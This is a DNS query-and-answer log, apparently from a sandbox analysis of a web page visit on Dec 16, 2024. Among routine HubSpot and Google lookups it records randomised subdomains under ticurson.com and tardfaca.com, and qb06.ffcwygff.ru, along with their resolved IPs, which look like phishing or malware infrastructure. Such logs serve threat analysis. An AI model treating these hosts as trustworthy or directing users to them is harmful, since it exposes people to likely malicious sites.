Dec 16, 2024 18:45:49.283061981 CET	192.168.2.17	1.1.1.1	0x3a6e	Standard query (0)	5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:49.283195972 CET	192.168.2.17	1.1.1.1	0x3bf5	Standard query (0)	5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:53.218215942 CET	192.168.2.17	1.1.1.1	0xda62	Standard query (0)	support.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:53.218385935 CET	192.168.2.17	1.1.1.1	0x547b	Standard query (0)	support.google.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:53.238389969 CET	192.168.2.17	1.1.1.1	0xed0c	Standard query (0)	5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:53.239039898 CET	192.168.2.17	1.1.1.1	0x7d1a	Standard query (0)	5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:56.829744101 CET	192.168.2.17	1.1.1.1	0x2e42	Standard query (0)	lh3.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:56.829929113 CET	192.168.2.17	1.1.1.1	0x8f22	Standard query (0)	lh3.googleusercontent.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:58.200970888 CET	192.168.2.17	1.1.1.1	0x15ff	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:58.201427937 CET	192.168.2.17	1.1.1.1	0x796a	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 16, 2024 18:45:59.573935986 CET	192.168.2.17	1.1.1.1	0x5dea	Standard query (0)	lh3.googleusercontent.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:59.574145079 CET	192.168.2.17	1.1.1.1	0x3e81	Standard query (0)	lh3.googleusercontent.com	65	IN (0x0001)	false
Dec 16, 2024 18:46:03.402132034 CET	192.168.2.17	1.1.1.1	0x1f96	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:03.402249098 CET	192.168.2.17	1.1.1.1	0x65ce	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 16, 2024 18:46:09.202016115 CET	192.168.2.17	1.1.1.1	0xb70c	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:09.202207088 CET	192.168.2.17	1.1.1.1	0x5e42	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 16, 2024 18:46:13.047332048 CET	192.168.2.17	1.1.1.1	0x748a	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:13.047458887 CET	192.168.2.17	1.1.1.1	0xf567	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 16, 2024 18:46:14.909667015 CET	192.168.2.17	1.1.1.1	0xa8d	Standard query (0)	support.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:14.910180092 CET	192.168.2.17	1.1.1.1	0x6744	Standard query (0)	support.google.com	65	IN (0x0001)	false
Dec 16, 2024 18:46:19.484662056 CET	192.168.2.17	1.1.1.1	0x9b0d	Standard query (0)	i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:19.484662056 CET	192.168.2.17	1.1.1.1	0xb90	Standard query (0)	i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com	65	IN (0x0001)	false
Dec 16, 2024 18:46:23.535914898 CET	192.168.2.17	1.1.1.1	0x61c	Standard query (0)	translate.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:23.536192894 CET	192.168.2.17	1.1.1.1	0x9e1e	Standard query (0)	translate.google.com	65	IN (0x0001)	false
Dec 16, 2024 18:46:23.537895918 CET	192.168.2.17	1.1.1.1	0x5d0c	Standard query (0)	i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:23.538022995 CET	192.168.2.17	1.1.1.1	0x524	Standard query (0)	i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com	65	IN (0x0001)	false
Dec 16, 2024 18:46:39.904853106 CET	192.168.2.17	1.1.1.1	0xeafb	Standard query (0)	translate.google.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:39.904998064 CET	192.168.2.17	1.1.1.1	0x1640	Standard query (0)	translate.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 18:44:47.967020988 CET	1.1.1.1	192.168.2.17	0xfa06	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 18:45:24.039114952 CET	1.1.1.1	192.168.2.17	0xa7b1	No error (0)	static.hsappstatic.net			65	IN (0x0001)	false
Dec 16, 2024 18:45:24.040646076 CET	1.1.1.1	192.168.2.17	0x862f	No error (0)	static.hsappstatic.net		104.17.172.91	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.040646076 CET	1.1.1.1	192.168.2.17	0x862f	No error (0)	static.hsappstatic.net		104.17.173.91	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.040646076 CET	1.1.1.1	192.168.2.17	0x862f	No error (0)	static.hsappstatic.net		104.17.174.91	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.040646076 CET	1.1.1.1	192.168.2.17	0x862f	No error (0)	static.hsappstatic.net		104.17.175.91	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.040646076 CET	1.1.1.1	192.168.2.17	0x862f	No error (0)	static.hsappstatic.net		104.17.176.91	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.053078890 CET	1.1.1.1	192.168.2.17	0xb328	No error (0)	js.hsforms.net		104.18.142.119	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.053078890 CET	1.1.1.1	192.168.2.17	0xb328	No error (0)	js.hsforms.net		104.18.141.119	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.054757118 CET	1.1.1.1	192.168.2.17	0xb6ed	No error (0)	js.hsforms.net			65	IN (0x0001)	false
Dec 16, 2024 18:45:24.153647900 CET	1.1.1.1	192.168.2.17	0x3ff1	No error (0)	js.hs-scripts.com		104.16.140.209	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.153647900 CET	1.1.1.1	192.168.2.17	0x3ff1	No error (0)	js.hs-scripts.com		104.16.137.209	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.153647900 CET	1.1.1.1	192.168.2.17	0x3ff1	No error (0)	js.hs-scripts.com		104.16.139.209	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.153647900 CET	1.1.1.1	192.168.2.17	0x3ff1	No error (0)	js.hs-scripts.com		104.16.138.209	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.153647900 CET	1.1.1.1	192.168.2.17	0x3ff1	No error (0)	js.hs-scripts.com		104.16.141.209	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.164123058 CET	1.1.1.1	192.168.2.17	0xbe78	No error (0)	js.hs-scripts.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:24.179402113 CET	1.1.1.1	192.168.2.17	0x9144	No error (0)	forms.hsforms.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:24.179486990 CET	1.1.1.1	192.168.2.17	0xff76	No error (0)	forms.hsforms.com		104.19.175.188	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:24.179486990 CET	1.1.1.1	192.168.2.17	0xff76	No error (0)	forms.hsforms.com		104.18.80.204	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:25.857404947 CET	1.1.1.1	192.168.2.17	0x5917	No error (0)	static.hsappstatic.net		104.17.172.91	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:25.857404947 CET	1.1.1.1	192.168.2.17	0x5917	No error (0)	static.hsappstatic.net		104.17.173.91	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:25.857404947 CET	1.1.1.1	192.168.2.17	0x5917	No error (0)	static.hsappstatic.net		104.17.175.91	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:25.857404947 CET	1.1.1.1	192.168.2.17	0x5917	No error (0)	static.hsappstatic.net		104.17.176.91	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:25.857404947 CET	1.1.1.1	192.168.2.17	0x5917	No error (0)	static.hsappstatic.net		104.17.174.91	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:25.858845949 CET	1.1.1.1	192.168.2.17	0x1b08	No error (0)	static.hsappstatic.net			65	IN (0x0001)	false
Dec 16, 2024 18:45:25.994508028 CET	1.1.1.1	192.168.2.17	0x3119	No error (0)	js.hs-analytics.net		104.17.175.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:25.994508028 CET	1.1.1.1	192.168.2.17	0x3119	No error (0)	js.hs-analytics.net		104.16.160.168	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:25.995618105 CET	1.1.1.1	192.168.2.17	0x17be	No error (0)	js.hs-analytics.net			65	IN (0x0001)	false
Dec 16, 2024 18:45:26.001286983 CET	1.1.1.1	192.168.2.17	0xb441	No error (0)	js.hs-banner.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:26.001604080 CET	1.1.1.1	192.168.2.17	0x81de	No error (0)	js.hscollectedforms.net		104.16.110.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:26.001604080 CET	1.1.1.1	192.168.2.17	0x81de	No error (0)	js.hscollectedforms.net		104.16.109.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:26.001604080 CET	1.1.1.1	192.168.2.17	0x81de	No error (0)	js.hscollectedforms.net		104.16.111.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:26.001604080 CET	1.1.1.1	192.168.2.17	0x81de	No error (0)	js.hscollectedforms.net		104.16.107.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:26.001604080 CET	1.1.1.1	192.168.2.17	0x81de	No error (0)	js.hscollectedforms.net		104.16.108.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:26.002439976 CET	1.1.1.1	192.168.2.17	0x1efc	No error (0)	js.hs-scripts.com		104.16.140.209	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:26.002439976 CET	1.1.1.1	192.168.2.17	0x1efc	No error (0)	js.hs-scripts.com		104.16.141.209	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:26.002439976 CET	1.1.1.1	192.168.2.17	0x1efc	No error (0)	js.hs-scripts.com		104.16.139.209	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:26.002439976 CET	1.1.1.1	192.168.2.17	0x1efc	No error (0)	js.hs-scripts.com		104.16.138.209	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:26.002439976 CET	1.1.1.1	192.168.2.17	0x1efc	No error (0)	js.hs-scripts.com		104.16.137.209	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:26.003726006 CET	1.1.1.1	192.168.2.17	0xe056	No error (0)	js.hscollectedforms.net			65	IN (0x0001)	false
Dec 16, 2024 18:45:26.010512114 CET	1.1.1.1	192.168.2.17	0xecc4	No error (0)	js.hs-scripts.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:26.010684013 CET	1.1.1.1	192.168.2.17	0xf2ee	No error (0)	js.hs-banner.com		104.18.40.240	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:26.010684013 CET	1.1.1.1	192.168.2.17	0xf2ee	No error (0)	js.hs-banner.com		172.64.147.16	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:27.001889944 CET	1.1.1.1	192.168.2.17	0xcd6a	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:27.001966953 CET	1.1.1.1	192.168.2.17	0x791a	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:27.034997940 CET	1.1.1.1	192.168.2.17	0x8de	No error (0)	js.hsforms.net		104.18.142.119	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:27.034997940 CET	1.1.1.1	192.168.2.17	0x8de	No error (0)	js.hsforms.net		104.18.141.119	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:27.035010099 CET	1.1.1.1	192.168.2.17	0x2105	No error (0)	js.hsforms.net			65	IN (0x0001)	false
Dec 16, 2024 18:45:28.252116919 CET	1.1.1.1	192.168.2.17	0x860b	No error (0)	js.hs-analytics.net		104.17.175.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.252116919 CET	1.1.1.1	192.168.2.17	0x860b	No error (0)	js.hs-analytics.net		104.16.160.168	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.252208948 CET	1.1.1.1	192.168.2.17	0xffe6	No error (0)	js.hs-analytics.net			65	IN (0x0001)	false
Dec 16, 2024 18:45:28.301215887 CET	1.1.1.1	192.168.2.17	0x8195	No error (0)	js.hs-banner.com		172.64.147.16	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.301215887 CET	1.1.1.1	192.168.2.17	0x8195	No error (0)	js.hs-banner.com		104.18.40.240	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.301229954 CET	1.1.1.1	192.168.2.17	0xc8b2	No error (0)	js.hs-banner.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:28.304090023 CET	1.1.1.1	192.168.2.17	0xcd7c	No error (0)	js.hscollectedforms.net		104.16.107.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.304090023 CET	1.1.1.1	192.168.2.17	0xcd7c	No error (0)	js.hscollectedforms.net		104.16.109.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.304090023 CET	1.1.1.1	192.168.2.17	0xcd7c	No error (0)	js.hscollectedforms.net		104.16.111.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.304090023 CET	1.1.1.1	192.168.2.17	0xcd7c	No error (0)	js.hscollectedforms.net		104.16.110.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.304090023 CET	1.1.1.1	192.168.2.17	0xcd7c	No error (0)	js.hscollectedforms.net		104.16.108.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.306725979 CET	1.1.1.1	192.168.2.17	0x255	No error (0)	js.hscollectedforms.net			65	IN (0x0001)	false
Dec 16, 2024 18:45:28.320390940 CET	1.1.1.1	192.168.2.17	0x280f	No error (0)	forms.hscollectedforms.net		104.16.109.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.320390940 CET	1.1.1.1	192.168.2.17	0x280f	No error (0)	forms.hscollectedforms.net		104.16.111.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.320390940 CET	1.1.1.1	192.168.2.17	0x280f	No error (0)	forms.hscollectedforms.net		104.16.108.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.320390940 CET	1.1.1.1	192.168.2.17	0x280f	No error (0)	forms.hscollectedforms.net		104.16.107.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.320390940 CET	1.1.1.1	192.168.2.17	0x280f	No error (0)	forms.hscollectedforms.net		104.16.110.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.322400093 CET	1.1.1.1	192.168.2.17	0xa74a	No error (0)	forms.hscollectedforms.net			65	IN (0x0001)	false
Dec 16, 2024 18:45:28.332716942 CET	1.1.1.1	192.168.2.17	0x78aa	No error (0)	track.hubspot.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:28.333102942 CET	1.1.1.1	192.168.2.17	0xb56b	No error (0)	track.hubspot.com		104.16.118.116	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.333102942 CET	1.1.1.1	192.168.2.17	0xb56b	No error (0)	track.hubspot.com		104.16.117.116	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.796714067 CET	1.1.1.1	192.168.2.17	0xba2e	No error (0)	forms.hsforms.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:28.796819925 CET	1.1.1.1	192.168.2.17	0xaebf	No error (0)	forms.hsforms.com		104.18.80.204	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.796819925 CET	1.1.1.1	192.168.2.17	0xaebf	No error (0)	forms.hsforms.com		104.19.175.188	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.799716949 CET	1.1.1.1	192.168.2.17	0xc197	No error (0)	forms-na1.hsforms.com		104.18.80.204	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.799716949 CET	1.1.1.1	192.168.2.17	0xc197	No error (0)	forms-na1.hsforms.com		104.19.175.188	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.799829006 CET	1.1.1.1	192.168.2.17	0xf4da	No error (0)	forms-na1.hsforms.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:28.837165117 CET	1.1.1.1	192.168.2.17	0x9b00	No error (0)	48192692.fs1.hubspotusercontent-na1.net			65	IN (0x0001)	false
Dec 16, 2024 18:45:28.837275982 CET	1.1.1.1	192.168.2.17	0xa80a	No error (0)	48192692.fs1.hubspotusercontent-na1.net		104.18.41.124	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:28.837275982 CET	1.1.1.1	192.168.2.17	0xa80a	No error (0)	48192692.fs1.hubspotusercontent-na1.net		172.64.146.132	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.202866077 CET	1.1.1.1	192.168.2.17	0x5202	No error (0)	forms.hscollectedforms.net			65	IN (0x0001)	false
Dec 16, 2024 18:45:30.202975035 CET	1.1.1.1	192.168.2.17	0xf37	No error (0)	forms.hscollectedforms.net		104.16.109.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.202975035 CET	1.1.1.1	192.168.2.17	0xf37	No error (0)	forms.hscollectedforms.net		104.16.111.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.202975035 CET	1.1.1.1	192.168.2.17	0xf37	No error (0)	forms.hscollectedforms.net		104.16.110.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.202975035 CET	1.1.1.1	192.168.2.17	0xf37	No error (0)	forms.hscollectedforms.net		104.16.108.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.202975035 CET	1.1.1.1	192.168.2.17	0xf37	No error (0)	forms.hscollectedforms.net		104.16.107.254	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.239614964 CET	1.1.1.1	192.168.2.17	0xf265	No error (0)	track.hubspot.com		104.16.117.116	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.239614964 CET	1.1.1.1	192.168.2.17	0xf265	No error (0)	track.hubspot.com		104.16.118.116	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.239835978 CET	1.1.1.1	192.168.2.17	0xb9fc	No error (0)	track.hubspot.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:30.655606031 CET	1.1.1.1	192.168.2.17	0x6fcc	No error (0)	forms-na1.hsforms.com		104.19.175.188	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.655606031 CET	1.1.1.1	192.168.2.17	0x6fcc	No error (0)	forms-na1.hsforms.com		104.18.80.204	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.656498909 CET	1.1.1.1	192.168.2.17	0x3c69	No error (0)	forms-na1.hsforms.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:30.727181911 CET	1.1.1.1	192.168.2.17	0xb38a	No error (0)	48192692.fs1.hubspotusercontent-na1.net			65	IN (0x0001)	false
Dec 16, 2024 18:45:30.727304935 CET	1.1.1.1	192.168.2.17	0xdc7d	No error (0)	48192692.fs1.hubspotusercontent-na1.net		172.64.146.132	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:30.727304935 CET	1.1.1.1	192.168.2.17	0xdc7d	No error (0)	48192692.fs1.hubspotusercontent-na1.net		104.18.41.124	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:34.476121902 CET	1.1.1.1	192.168.2.17	0xf417	No error (0)	qb06.ffcwygff.ru		104.21.60.204	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:34.476121902 CET	1.1.1.1	192.168.2.17	0xf417	No error (0)	qb06.ffcwygff.ru		172.67.201.72	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:34.476592064 CET	1.1.1.1	192.168.2.17	0xa2e0	No error (0)	qb06.ffcwygff.ru			65	IN (0x0001)	false
Dec 16, 2024 18:45:38.823410988 CET	1.1.1.1	192.168.2.17	0x2765	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:38.823410988 CET	1.1.1.1	192.168.2.17	0x2765	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:38.823410988 CET	1.1.1.1	192.168.2.17	0x2765	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:38.823410988 CET	1.1.1.1	192.168.2.17	0x2765	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:41.107264996 CET	1.1.1.1	192.168.2.17	0x24a4	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:41.107264996 CET	1.1.1.1	192.168.2.17	0x24a4	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:41.107264996 CET	1.1.1.1	192.168.2.17	0x24a4	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:41.107264996 CET	1.1.1.1	192.168.2.17	0x24a4	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:41.543374062 CET	1.1.1.1	192.168.2.17	0x6914	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:44.318594933 CET	1.1.1.1	192.168.2.17	0xacdb	No error (0)	cdn.prod.website-files.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:44.325309038 CET	1.1.1.1	192.168.2.17	0x1e63	No error (0)	cdn.prod.website-files.com		104.18.161.117	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:44.325309038 CET	1.1.1.1	192.168.2.17	0x1e63	No error (0)	cdn.prod.website-files.com		104.18.160.117	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:46.918924093 CET	1.1.1.1	192.168.2.17	0xdde2	No error (0)	cdn.prod.website-files.com		104.18.161.117	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:46.918924093 CET	1.1.1.1	192.168.2.17	0xdde2	No error (0)	cdn.prod.website-files.com		104.18.160.117	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:46.919353008 CET	1.1.1.1	192.168.2.17	0x79e4	No error (0)	cdn.prod.website-files.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:49.624604940 CET	1.1.1.1	192.168.2.17	0x3a6e	No error (0)	5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com		172.67.187.119	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:49.624604940 CET	1.1.1.1	192.168.2.17	0x3a6e	No error (0)	5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com		104.21.32.205	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:49.633114100 CET	1.1.1.1	192.168.2.17	0x3bf5	No error (0)	5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:53.355359077 CET	1.1.1.1	192.168.2.17	0xda62	No error (0)	support.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:53.376741886 CET	1.1.1.1	192.168.2.17	0xed0c	No error (0)	5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com		104.21.32.205	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:53.376741886 CET	1.1.1.1	192.168.2.17	0xed0c	No error (0)	5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com		172.67.187.119	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:53.376768112 CET	1.1.1.1	192.168.2.17	0x7d1a	No error (0)	5ze3joh4rxokxve3aleagvu3onlar5d45yqwj2dqasoi0hncjqgjm.ticurson.com			65	IN (0x0001)	false
Dec 16, 2024 18:45:56.966567993 CET	1.1.1.1	192.168.2.17	0x2e42	No error (0)	lh3.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 18:45:56.966567993 CET	1.1.1.1	192.168.2.17	0x2e42	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:56.967058897 CET	1.1.1.1	192.168.2.17	0x8f22	No error (0)	lh3.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 18:45:58.337981939 CET	1.1.1.1	192.168.2.17	0x15ff	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:59.711002111 CET	1.1.1.1	192.168.2.17	0x5dea	No error (0)	lh3.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 18:45:59.711002111 CET	1.1.1.1	192.168.2.17	0x5dea	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.65	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:45:59.713174105 CET	1.1.1.1	192.168.2.17	0x3e81	No error (0)	lh3.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 18:46:03.539592028 CET	1.1.1.1	192.168.2.17	0x1f96	No error (0)	play.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:09.756879091 CET	1.1.1.1	192.168.2.17	0xb70c	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 18:46:09.756879091 CET	1.1.1.1	192.168.2.17	0xb70c	No error (0)	plus.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:09.757062912 CET	1.1.1.1	192.168.2.17	0x5e42	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 18:46:13.184828997 CET	1.1.1.1	192.168.2.17	0x748a	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 18:46:13.184828997 CET	1.1.1.1	192.168.2.17	0x748a	No error (0)	plus.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:13.185760021 CET	1.1.1.1	192.168.2.17	0xf567	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 18:46:15.046925068 CET	1.1.1.1	192.168.2.17	0xa8d	No error (0)	support.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:19.828484058 CET	1.1.1.1	192.168.2.17	0x9b0d	No error (0)	i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com		172.67.222.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:19.828484058 CET	1.1.1.1	192.168.2.17	0x9b0d	No error (0)	i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com		104.21.67.123	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:19.828793049 CET	1.1.1.1	192.168.2.17	0xb90	No error (0)	i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com			65	IN (0x0001)	false
Dec 16, 2024 18:46:23.672981024 CET	1.1.1.1	192.168.2.17	0x61c	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 18:46:23.672981024 CET	1.1.1.1	192.168.2.17	0x61c	No error (0)	www3.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 16, 2024 18:46:23.674179077 CET	1.1.1.1	192.168.2.17	0x9e1e	No error (0)	translate.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 18:46:23.675622940 CET	1.1.1.1	192.168.2.17	0x5d0c	No error (0)	i224tbuai42cde1lzenjhimnqfypy0xmafnry7iya5e5kgoffk.tardfaca.com		172.67.222.46	A (IP address)	IN (0x0001)	false
